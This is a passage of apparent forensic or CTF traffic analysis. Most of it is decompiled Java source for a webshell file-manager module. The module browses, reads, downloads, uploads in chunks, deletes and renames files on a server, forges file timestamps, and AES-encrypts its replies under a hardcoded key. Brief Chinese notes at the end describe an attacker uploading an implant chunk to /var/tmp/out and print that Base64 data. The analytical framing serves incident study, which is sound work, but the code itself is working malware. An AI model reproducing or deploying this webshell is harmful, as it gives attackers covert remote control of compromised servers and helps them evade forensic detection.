Bd/anTnVm3zGeXy7P6bJFAdwTife81/kbBXBO8paJAJirtNjqKmoZZV7k3odDda/hgC/vx+h81fuElwb/Wj2jkxxWtuonuWKhBQ1IRUkiPvzyU4YFYJLqyiVQ9Tv6pSf2YH9eUHFNMNtBZQ8Q/siXnqqueNEzfL7jLI0ZylZj2mKspFtLatsszpN5aqOZ21RwyKh2lQbCBAhGuKxaBYezeFT/IXfpB31Rcc1XYlzmevqJmo3Uh3pWv5FLDfzN+EdpIQb4+qkrJQbe34/OESs2rvLInZ5r+wcSAyjgxJXF21OGLZ6eEGH3zO9t+MuY4k1w+DTEwunln6dg9Lgr1GMIQcEyhJKvkcaHS+tDOdM9V5tgbi8ExREOKP6PivpYmjkFhkMqgaM32269RZImzOdk9n7T6I5/Xr6ehfHzwXBpXzw/scttH7xfRbIFrlvFxVJ6BXZ56sTrAJZqoQmWC2OZeKH/78PbQ/ecJSbNiRzsL1fudcSGmIlLPFDw6Ttk15SeFFxVX+uk0q+uJbM9xdTzEKoM7aCvb7bjHUfqShll+BQ22UGHGGuxiwNxLSYo5gvDTIXcfrH+W++hFY/4rNkFi5ZQkp8W3aYXFKP72s7NxIAmix/3NXusrvUuoqd73udI/TsF+ZmoZ2aF1SErZu0APYuvHij9H3LoUBauY74lX5dtSKfMmU76/7MV9zyHfoTpWvnV62uJb0voNwFSD7fZDdSdk3UvahD4vsb3B2Ldoq3i8geQol91PyXEjuNUuzxjGdYNa0K+RtRHkvorxDIO/51ryZMbUtvt2s7Z5vBIlUItGMSPhgACXfaQ6B0XTVqQ9NB7aPSsOMz0HGNMr4JUEatIOyP/accuTJ9cUyKlb8pqkvIZbCSjPWuGLSXCgsgwqbS4X5J8L930OB/Vzrci8pq3SVXUOiu5WaLAOy94HsmZS9D2V/EBrZ1aPiLmaZ6jzI8cfXIkcPyvHHcsxxL+T4vYhzcPCczXfgCcrxv0nXapEUwk66JVb6ot+iShp9+R0cYwHkiflSHD57p6mjB3zb4w9i/RaLKhvfF0n4UJBd7jqF7JKijZKvY7U/t5OuZKmnd5m0y356a8QM/iB1dOkYr6BB7cnapFhrxjFYi6KKFkXp3nArz2hOk46+VGLX4qEA1UjVXAGWGrhGrAEc9zVikVzCcWdJ976TLgdradO4Pl+u0mkPaqv0R3czUGfwOoeqG4g7omh8V8+ym6ir7CFWyLl8yyg+c3SX6PWLqdej9yFXPxDLonHsdtxf19iKJhKFbEXIV0VR6lGsuJKQOtM+vd5u43hTb8Ky6vtrS6n0ApkeZdTI+W1ls44vkDVeZ0c/Eq6yOCKT64Y//wC4Tahjs6dCxb+6O/YUhBTXKIpX2zlQkI5M";
super();
this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
}
public boolean equals(Object obj) {
Object result = new HashMap();
boolean var15 = false;
boolean var3;
label198: {
Method write;
Object so;
label199: {
try {
var15 = true;
this.fillContext(obj);
if (mode.equalsIgnoreCase("list")) {
((Map)result).put("msg", this.list());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("show")) {
((Map)result).put("msg", this.show());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("checkExist")) {
((Map)result).put("msg", this.checkExist(path));
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("delete")) {
result = this.delete();
var15 = false;
} else if (mode.equalsIgnoreCase("create")) {
((Map)result).put("msg", this.create());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("append")) {
((Map)result).put("msg", this.append());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("update")) {
this.updateFile();
((Map)result).put("msg", "ok");
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("downloadPart")) {
((Map)result).put("msg", this.downloadPart(path, Long.parseLong(blockIndex), Long.parseLong(blockSize)));
((Map)result).put("status", "success");
var15 = false;
} else {
if (mode.equalsIgnoreCase("download")) {
this.download();
var3 = true;
var15 = false;
break label198;
}
if (mode.equalsIgnoreCase("rename")) {
result = this.renameFile();
var15 = false;
} else if (mode.equalsIgnoreCase("createFile")) {
((Map)result).put("msg", this.createFile());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("compress")) {
zipFile(path, true);
((Map)result).put("msg", "ok");
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("createDirectory")) {
((Map)result).put("msg", this.createDirectory());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("getTimeStamp")) {
((Map)result).put("msg", this.getTimeStamp());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("updateTimeStamp")) {
((Map)result).put("msg", this.updateTimeStamp());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("check")) {
((Map)result).put("msg", this.checkFileHash(path));
((Map)result).put("status", "success");
var15 = false;
} else {
var15 = false;
}
}
break label199;
} catch (Throwable var20) {
var20.printStackTrace();
((Map)result).put("msg", var20.getMessage());
((Map)result).put("status", "fail");
var15 = false;
} finally {
if (var15) {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
var16.printStackTrace();
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var18) {
var18.printStackTrace();
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var19) {
var19.printStackTrace();
}
return true;
}
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var17) {
var17.printStackTrace();
}
return var3;
}
private String checkFileHash(String path) throws Exception {
FileChannel ch = (FileChannel)this.sessionGetAttribute(this.Session, path);
if (ch != null && ch.isOpen()) {
ch.close();
}
byte[] input = this.getFileData(path);
if (input != null && input.length != 0) {
MessageDigest md5 = MessageDigest.getInstance("MD5");
md5.update(input);
byte[] byteArray = md5.digest();
StringBuilder sb = new StringBuilder();
byte[] var7 = byteArray;
int var8 = byteArray.length;
for(int var9 = 0; var9 < var8; ++var9) {
byte b = var7[var9];
sb.append(String.format("%02x", b));
}
return sb.substring(0, 16);
} else {
return null;
}
}
private void updateFile() throws Exception {
FileChannel ch = (FileChannel)this.sessionGetAttribute(this.Session, path);
if (ch == null) {
FileOutputStream fos = new FileOutputStream(path);
ch = fos.getChannel();
this.sessionSetAttribute(this.Session, "fos", fos);
this.sessionSetAttribute(this.Session, path, ch);
}
synchronized(ch) {
ch.position((long)(Integer.parseInt(blockIndex) * Integer.parseInt(blockSize)));
ch.write(ByteBuffer.wrap(this.base64decode(content)));
}
}
private Map<String, String> warpFileObj(File file) {
Map<String, String> obj = new HashMap();
obj.put("type", file.isDirectory() ? "directory" : "file");
obj.put("name", file.getName());
obj.put("size", file.length() + "");
obj.put("perm", this.getFilePerm(file));
obj.put("lastModified", (new SimpleDateFormat("yyyy/MM/dd HH:mm:ss")).format(new Date(file.lastModified())));
return obj;
}
private boolean isOldJava() {
String version = System.getProperty("java.version");
return version.compareTo("1.7") < 0;
}
private String checkExist(String path) throws Exception {
File file = new File(path);
if (file.exists()) {
return file.length() + "";
} else {
throw new Exception("");
}
}
private String getFilePerm(File file) {
String permStr = "";
if (this.isWindows()) {
try {
permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-");
} catch (Error var12) {
permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/-";
}
} else {
String version = System.getProperty("java.version");
if (version.compareTo("1.7") >= 0) {
try {
this.getClass();
Class FilesCls = Class.forName("java.nio.file.Files");
this.getClass();
Class PosixFileAttributesCls = Class.forName("java.nio.file.attribute.PosixFileAttributes");
this.getClass();
Class PathsCls = Class.forName("java.nio.file.Paths");
this.getClass();
Class PosixFilePermissionsCls = Class.forName("java.nio.file.attribute.PosixFilePermissions");
Object f = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), file.getAbsolutePath(), new String[0]);
Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, f, PosixFileAttributesCls, new LinkOption[0]);
Object result = PosixFilePermissionsCls.getMethod("toString", Set.class).invoke(PosixFilePermissionsCls, PosixFileAttributesCls.getMethod("permissions").invoke(attrs));
permStr = result.toString();
} catch (Exception var11) {
}
} else {
permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-");
}
}
return permStr;
}
private String list() throws Exception {
String result = "";
File f = new File(path);
List<Map<String, String>> objArr = new ArrayList();
objArr.add(this.warpFileObj(new File(".")));
objArr.add(this.warpFileObj(new File("..")));
if (f.isDirectory() && f.listFiles() != null) {
File[] var4 = f.listFiles();
int var5 = var4.length;
for(int var6 = 0; var6 < var5; ++var6) {
File temp = var4[var6];
objArr.add(this.warpFileObj(temp));
}
}
result = this.buildJsonArray(objArr, true);
return result;
}
private String show() throws Exception {
byte[] fileContent = this.getFileData(path);
return base64encode(fileContent);
}
private byte[] getFileData(String path) throws IOException {
ByteArrayOutputStream output = new ByteArrayOutputStream();
FileInputStream fis = new FileInputStream(new File(path));
int data;
while((data = fis.read()) != -1) {
output.write(data);
}
fis.close();
return output.toByteArray();
}
private String create() throws Exception {
String result = "";
FileOutputStream fso = new FileOutputStream(path);
fso.write(this.base64decode(content));
fso.flush();
fso.close();
result = path + "\u4e0a\u4f20\u5b8c\u6210\uff0c\u8fdc\u7a0b\u6587\u4ef6\u5927\u5c0f:" + (new File(path)).length();
return result;
}
private Map<String, String> renameFile() throws Exception {
Map<String, String> result = new HashMap();
File oldFile = new File(path);
File newFile = new File(newPath);
if (oldFile.exists() && oldFile.isFile() & oldFile.renameTo(newFile)) {
result.put("status", "success");
result.put("msg", "\u91cd\u547d\u540d\u5b8c\u6210:" + newPath);
} else {
result.put("status", "fail");
result.put("msg", "\u91cd\u547d\u540d\u5931\u8d25:" + newPath);
}
return result;
}
private String createFile() throws Exception {
String result = "";
FileOutputStream fso = new FileOutputStream(path);
fso.close();
result = path + "\u521b\u5efa\u5b8c\u6210";
return result;
}
private String createDirectory() throws Exception {
String result = "";
File dir = new File(path);
dir.mkdirs();
result = path + "\u521b\u5efa\u5b8c\u6210";
return result;
}
private void download() throws Exception {
FileInputStream fis = new FileInputStream(path);
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
int data;
while((data = fis.read()) != -1) {
write.invoke(so, data);
}
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
fis.close();
}
private String append() throws Exception {
String result = "";
FileOutputStream fso = new FileOutputStream(path, true);
fso.write(this.base64decode(content));
fso.flush();
fso.close();
result = path + "\u8ffd\u52a0\u5b8c\u6210\uff0c\u8fdc\u7a0b\u6587\u4ef6\u5927\u5c0f:" + (new File(path)).length();
return result;
}
private Map<String, String> delete() throws Exception {
Map<String, String> result = new HashMap();
File f = new File(path);
if (f.exists()) {
if (f.delete()) {
result.put("status", "success");
result.put("msg", path + " \u5220\u9664\u6210\u529f.");
} else {
result.put("status", "fail");
result.put("msg", "\u6587\u4ef6" + path + "\u5b58\u5728\uff0c\u4f46\u662f\u5220\u9664\u5931\u8d25.");
}
} else {
result.put("status", "fail");
result.put("msg", "\u6587\u4ef6\u4e0d\u5b58\u5728.");
}
return result;
}
private String getTimeStamp() throws Exception {
String result = "";
DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
File f = new File(path);
Map<String, String> timeStampObj = new HashMap();
if (f.exists()) {
this.getClass();
Class FilesCls = Class.forName("java.nio.file.Files");
this.getClass();
Class BasicFileAttributesCls = Class.forName("java.nio.file.attribute.BasicFileAttributes");
this.getClass();
Class PathsCls = Class.forName("java.nio.file.Paths");
Object file = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]);
Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, file, BasicFileAttributesCls, new LinkOption[0]);
Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime");
Object createTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("creationTime").invoke(attrs));
Object lastAccessTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("lastAccessTime").invoke(attrs));
Object lastModifiedTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("lastModifiedTime").invoke(attrs));
String createTimeStamp = df.format(new Date((Long)createTime));
String lastAccessTimeStamp = df.format(new Date((Long)lastAccessTime));
String lastModifiedTimeStamp = df.format(new Date((Long)lastModifiedTime));
timeStampObj.put("createTime", createTimeStamp);
timeStampObj.put("lastAccessTime", lastAccessTimeStamp);
timeStampObj.put("lastModifiedTime", lastModifiedTimeStamp);
result = this.buildJson(timeStampObj, true);
return result;
} else {
throw new Exception("\u6587\u4ef6\u4e0d\u5b58\u5728");
}
}
private boolean isWindows() {
return System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0;
}
private String updateTimeStamp() throws Exception {
String result = "";
DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
File f = new File(path);
if (f.exists()) {
f.setLastModified(df.parse(modifyTimeStamp).getTime());
if (!this.isOldJava()) {
Class PathsCls = Class.forName("java.nio.file.Paths");
Class BasicFileAttributeViewCls = Class.forName("java.nio.file.attribute.BasicFileAttributeView");
Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime");
Method getFileAttributeView = Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", Path.class, Class.class, LinkOption[].class);
Object attributes = getFileAttributeView.invoke(Class.forName("java.nio.file.Files"), PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]), BasicFileAttributeViewCls, new LinkOption[0]);
Object createTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(createTimeStamp).getTime());
Object accessTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(accessTimeStamp).getTime());
Object modifyTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(modifyTimeStamp).getTime());
BasicFileAttributeViewCls.getMethod("setTimes", FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes, modifyTime, accessTime, createTime);
}
result = "\u65f6\u95f4\u6233\u4fee\u6539\u6210\u529f\u3002";
return result;
} else {
throw new Exception("\u6587\u4ef6\u4e0d\u5b58\u5728");
}
}
private String downloadPart(String path, long blockIndex, long blockSize) throws Exception {
FileChannel ch = (FileChannel)this.sessionGetAttribute(this.Session, path);
if (ch == null) {
FileInputStream fis = new FileInputStream(path);
ch = fis.getChannel();
this.sessionSetAttribute(this.Session, "fis", fis);
this.sessionSetAttribute(this.Session, path, ch);
}
ByteBuffer buffer = ByteBuffer.allocate((int)blockSize);
int size;
synchronized(ch) {
ch.position(blockIndex * blockSize);
size = ch.read(buffer);
}
byte[] content = new byte[size];
System.arraycopy(buffer.array(), 0, content, 0, size);
return base64encode(content);
}
private static void zipFile(String srcDir, boolean KeepDirStructure) throws Exception {
File file = new File(srcDir);
String fileName = file.getName();
FileOutputStream out = new FileOutputStream((new File(srcDir)).getParentFile().getAbsolutePath() + File.separator + fileName + ".zip");
long start = System.currentTimeMillis();
ZipOutputStream zos = null;
try {
zos = new ZipOutputStream(out);
File sourceFile = new File(srcDir);
compress(sourceFile, zos, sourceFile.getName(), KeepDirStructure);
long var9 = System.currentTimeMillis();
} catch (Exception var18) {
throw new RuntimeException("zip error from ZipUtils", var18);
} finally {
if (zos != null) {
try {
zos.close();
} catch (IOException var17) {
var17.printStackTrace();
}
}
}
}
private static void compress(File sourceFile, ZipOutputStream zos, String name, boolean KeepDirStructure) throws Exception {
byte[] buf = new byte[102400];
if (sourceFile.isFile()) {
zos.putNextEntry(new ZipEntry(name));
FileInputStream in = new FileInputStream(sourceFile);
int len;
while((len = in.read(buf)) != -1) {
zos.write(buf, 0, len);
}
zos.closeEntry();
in.close();
} else {
File[] listFiles = sourceFile.listFiles();
if (listFiles != null && listFiles.length != 0) {
File[] var11 = listFiles;
int var7 = listFiles.length;
for(int var8 = 0; var8 < var7; ++var8) {
File file = var11[var8];
if (KeepDirStructure) {
compress(file, zos, name + "/" + file.getName(), KeepDirStructure);
} else {
compress(file, zos, file.getName(), KeepDirStructure);
}
}
} else if (KeepDirStructure) {
zos.putNextEntry(new ZipEntry(name + "/"));
zos.closeEntry();
}
}
}
private String buildJsonArray(List<Map<String, String>> list, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
sb.append("[");
Iterator var4 = list.iterator();
while(var4.hasNext()) {
Map<String, String> entity = (Map)var4.next();
sb.append(this.buildJson(entity, encode) + ",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("]");
return sb.toString();
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private byte[] base64decode(String base64Text) throws Exception {
String version = System.getProperty("java.version");
byte[] result;
Class Base64;
Object Decoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null);
result = (byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, base64Text);
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Decoder");
Decoder = Base64.newInstance();
result = (byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, base64Text);
}
return result;
}
private static String base64encode(String content) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, content.getBytes("UTF-8"));
} else {
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, content.getBytes("UTF-8"));
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private static String base64encode(byte[] content) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, content);
} else {
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, content);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
private Object sessionGetAttribute(Object session, String key) {
Object result = null;
try {
result = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
} catch (Exception var5) {
}
return result;
}
private void sessionSetAttribute(Object session, String key, Object value) {
try {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, value);
} catch (Exception var5) {
}
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "1f2c8075acd3d118";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}

mode = "update": 攻击者正在执行文件更新/上传操作。

path = "/var/tmp/out": 目标路径正是你之前发现的植入体。

blockIndex = "2": 这是分片上传的第 3 块数据(索引从 0 开始)。

blockSize = "30720": 每个分片的大小为 30KB。

content = "h61Bx……": 这是经过 Base64 编码的二进制原始数据碎片。

提取content的内容:

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